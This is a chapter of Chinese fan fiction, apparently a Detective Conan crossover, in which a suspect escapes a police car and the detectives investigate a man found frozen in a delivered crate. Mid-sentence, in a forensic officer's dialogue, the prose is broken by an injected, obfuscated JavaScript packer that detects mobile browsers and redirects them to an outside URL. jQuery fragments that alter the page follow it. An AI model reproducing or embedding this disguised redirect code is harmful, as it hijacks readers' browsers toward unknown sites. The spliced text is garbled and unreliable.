蜿蜒的公路,警车的引擎声在空旷的林间回响。
车内,桐谷明纱被两名警察挤在后排中间,从上车开始她就目不斜视盯着前方,手腕上的手铐在月光下反射着金属的冷光。
“砰”一声枪声响起,警车失控,轮胎摩擦地面发出刺耳的声音。
桐谷明纱突然暴起,手肘狠狠击向右边警察的太阳穴。倒霉警察猝不及防,头重重撞到车窗,一时失去意识。
左边的山村操反应过来,急忙伸手掏枪,但是桐谷明纱的动作更快,抓住他的手向后扭去,枪支瞬间脱落。
事件发生得太快,警车冲出公路,猛地撞上路边的大树,发出痛苦的哀鸣。
山村操被突如其来的冲击甩到前座椅背,而桐谷明纱已经趁机拉开车门,跳下车。
不远处传来摩托车的轰鸣声,一辆黑色的哈雷摩托车飞速驶近,在警车前戛然停下。
骑手穿着一身黑色皮衣,面容被头盔完全遮住。桐谷明纱迅速跳上摩托车后座,两人配合默契,她一落座,骑手就拧动油门。
哈雷卓越的性能在这一刻得到发挥,瞬间加速,在地面上划出两道黑色的痕迹,卷起路边的尘土。
几秒钟后,等山村操恢复意识下车,只看到摩托车模糊的背影。
月光温柔,照在宁静的树林里,仿佛什么都没发生过。
所有发生的这些,在东京的众人都还不知晓。
冬木茜醒来的时候看到天花板上的熟悉又陌生的杉木纹路还有些愣神。
直到佐藤美和子的声音传来:“冬木,你还好吧?”
“佐藤前辈,我怎么了?”冬木茜觉得头晕目眩,说话的声音也变得异常沙哑。
佐藤美和子感到有些好笑。
平日里,冬木茜总是一副一丝不苟的样子,西装笔挺,衬衫找不出一丝褶皱。但是此时,她的头发凌乱地翘起,眼睛半睁半闭,睡意朦胧,脸颊上还留有枕头的压痕。
“你昨晚喝醉了。”佐藤美和子笑着说道,语气里带着一丝调侃,“冬木,真没想到你酒量这么差。”
冬木茜清醒了几分,尴尬地捋了下凌乱的头发,耳尖却控制不住的微微泛红:“我完全不记得了,我没做什么奇怪的事情。”
以前高登警探每次喝醉就会喜欢到处拉着别人跳探戈,她应该没这种坏习惯吧!
佐藤美和子回想起昨晚那个不幸的男人,终于忍不住笑出声来:“冬木,你以后可千万别喝醉了,破坏力太惊人了!”
冬木茜的尴尬一直持续到她离开宿舍,来到警视厅,尽管她试图用一贯的冷静来掩饰。但是,每个昨晚看到她大显身手的同事都会打趣几句,让她脸颊的热度根本无法消退。
“昨晚,嫌疑人桐谷明纱逃走了!”目暮警官走进来说,像是投下了一枚重磅炸弹,立刻引起了强烈的反响。
“怎么会!是有同伙吗?”高木涉问道。
目暮警官点点头:“现在确定至少有两名同伙。一个狙击手打爆了警车车胎,还有一个骑着摩托车带走了嫌疑人。”
“这个桐谷明纱一定不简单,昨天冬木揭露凶手的时候,她一直默不作声,可能当时就是在想逃跑计划。没想到一个连环凶杀案还牵扯出其他。”白鸟任三郎听了之后率先作出分析。
佐藤美和子也赞同这个看法“这样看来,桐谷明纱潜伏在矢部健太身边一定是有其他目的。目暮警官,通缉令发出去了吗?”
“已经发出去了,现在电视上应该已经播出了。”目暮警官肯定地说。
“叮铃铃”一声急促的电话铃声响起,目暮警官迅速接通了电话。
随着电话那头的人讲述,他的表情变得越来越严肃。
挂下电话后,他立马说:“米花町发生了一件命案!佐藤、高木还有冬木跟我一起过去。”
一上汽车,目暮警官就对他们说明现在的情况:“毛利老弟昨天接到一个委托,委托人是最近知名的推理小说家八谷芳明。他从一周前开始每天都会收到一封恐吓信件,一开始只以为是恶作剧。但是,从上周五开始,信件里开始出现头发、指甲还有疑似人类血迹的的手帕。”
“八谷芳明这才觉得事情不对,委托侦探来调查寄送恐吓信件的人,所以今早毛利老弟就应约去了八谷宅。奇怪的是,今天信箱里没有出现恐吓信件,只有配送员送来一个冷链木箱,里面却是一具尸体。”
佐藤美和子倒抽一口冷气:“那配送人员没发现不对劲吗?”
目暮警官摇头说道:“宅急便的工作人员为了保护客户的隐私,通常都不会去检查包裹内容。”
说话间,车子就到达了目的地。
冬木茜远远就看到毛利兰站在门口。
“小兰,你怎么也在这里?”冬木茜好奇的问道。
毛利兰勉强露出一个笑容:“我是八谷先生的粉丝,本来是想跟他要个签名。但是没想到…大家先跟我过来吧。”
众人见她脸色苍白,好像受到了极大惊吓,不禁露出同情的表情,死神的威力果然强大。
进门是一片苔藓绿植,在夏日里显得绿意盎然。
一直往前走转过弯,翠绿的竹林映入眼帘。
耳边是竹叶发出的沙沙声响,脚下是一条青石板铺就的小径,从两旁偶尔乍现的波光鳞麟的鱼尾会发现,石板底下实际上是个水池,池水幽深看不见底。
沿着青石路走到底才是后院。
整个宅邸设计带着浓浓的中式风格,从大门进入后,需要绕过一个半圆形的庭院才能到达别墅正门。
走进一楼大厅,一个巨大的木箱静静躺在那里,箱盖半开,隐约可以看见里面蜷缩的人影。
鉴识课的同事搬开箱盖,露出男人僵硬的扭曲的尸体。
死者面容苍白,嘴唇和四肢都被胶带捆住,皮肤上布满冰晶,像是被雪女拥抱过一样,明显经历了极寒的痛苦。
佐藤美和子仔细打量着死者,突然,她瞳孔紧缩,脑海里闪过一些画面。
这是昨晚和冬木茜发生冲突的那个男人!
“是他…”佐藤美和子低喃着,语气很是复杂。
“佐藤,你认识死者?”目暮警官惊讶地问。
佐藤美和子贴近目暮警官,小声说了他们昨晚的经历。
还没等目暮警官做出反应,鉴识课的太原贵裕站起身说:“初步判定是冻死,死亡时间大概是今天早上9点到10点之间,也就是说,死者很有可能是在宅急便送达的前一刻死去。此外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222443|165832||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,死者的小腿、胸前、两侧靠近腋下、手腕和脖颈部位都有瘀伤,这些应该都是生前造成的。”
佐藤美和子尴尬的解释:“这个伤应该是被冬木打的,昨晚我们在酒吧碰到了死者,他和冬木发生冲突,被冬木打了一顿。但是我们走之前他都还好好的,昨晚冬木也一直跟我呆在一起!”
当事人冬木茜却一脸茫然,佐藤美和子说的每句话她都能听懂,但是连在一起却没有丝毫记忆。
高木涉也仔细看着死者的脸确认道:“确实是他。昨晚我们离开时,死者还活着。如果那间酒吧有监控,应该能查到死者昨天是什么时候离开的?有没有其他人一起?”
目暮警官摆摆手:“高木,你去联系酒吧老板确认死者昨晚离开时是独自一个人,还是有其他同伴。佐藤,你去联系宅急便公司,查一下寄货人信息。”
然后他又瞪了冬木茜一眼,打人下手也不能这么重。
冬木茜缩着脑袋,假装很认真地记笔录,尽量减少自己的存在感。
毛利小五郎看到瘀伤,觉得自己身上也开始痛起来:“当时我们正坐在庭院里喝茶,就听到门铃响起。开门的是管家神户靖男,然后宅急便的人员搬进来一个大木箱。”
“八谷先生也不清楚是谁送来的东西,就直接让管家拆了木箱,没想到里面是他的朋友高野诚一郎的尸体。”
“什么?死者是八谷先生的朋友!”目暮警官惊讶。
八谷芳明拿着手绢擦拭了眼角的泪水:“确实是我的好友,我和诚一郎是大学的同学,同时他也是我的编辑。”
“那八谷先生,你知道死者平时有没有得罪人?”目暮警官问道
“作为编辑,诚一郎的社交范围其实很窄,来往最多的都是同行。非要说得罪人,那就是他很风流,交往过很多女人,好几次分手都闹得不太愉快。”八谷芳明思索着说。
“哎,八谷先生,这是你和高野先生吗?”江户川柯南指着客厅橱柜里一张相片问道。
相片里是三个举着奖牌,对着镜头笑得一脸灿烂的年轻人。
八谷芳明露出怀念的神情:“这是我和麻世,还有诚一郎大学时期的照片。”
说到这里,他突然想到什么,转向一旁的女佣问道:“太太去哪里了?”
八谷家的女佣是一个年轻的短发女性,名叫海田真佑美。
她听到问题马上回答道:“先生,太太昨天上午就出门了,一直没有回来。”
“真是的,又跑去哪里了?”八谷芳明随口嘟囔了几句。
冬木茜想到目暮警官提到过的恐吓信,这次的案件或许与恐吓信有关,于是问道:“八谷先生,之前寄过来恐吓信,能给我们看看吗?”
“恐吓信在我这里。”说完,毛利小五郎拿出四封一样信件。
信封和信纸都是最普通的文具店产品,文字也不是手写,应该是使用打印机的印刷体。
四分信的内容按照时间先后,分别是:
时间或许让你们淡忘寒冷,但是仇恨却不会融化
冰下的水一直在流动,真相终究会浮出水面
你们的余生将被阴影笼罩,灵魂永远无法安宁
很快,你们也会感受到刺骨的寒意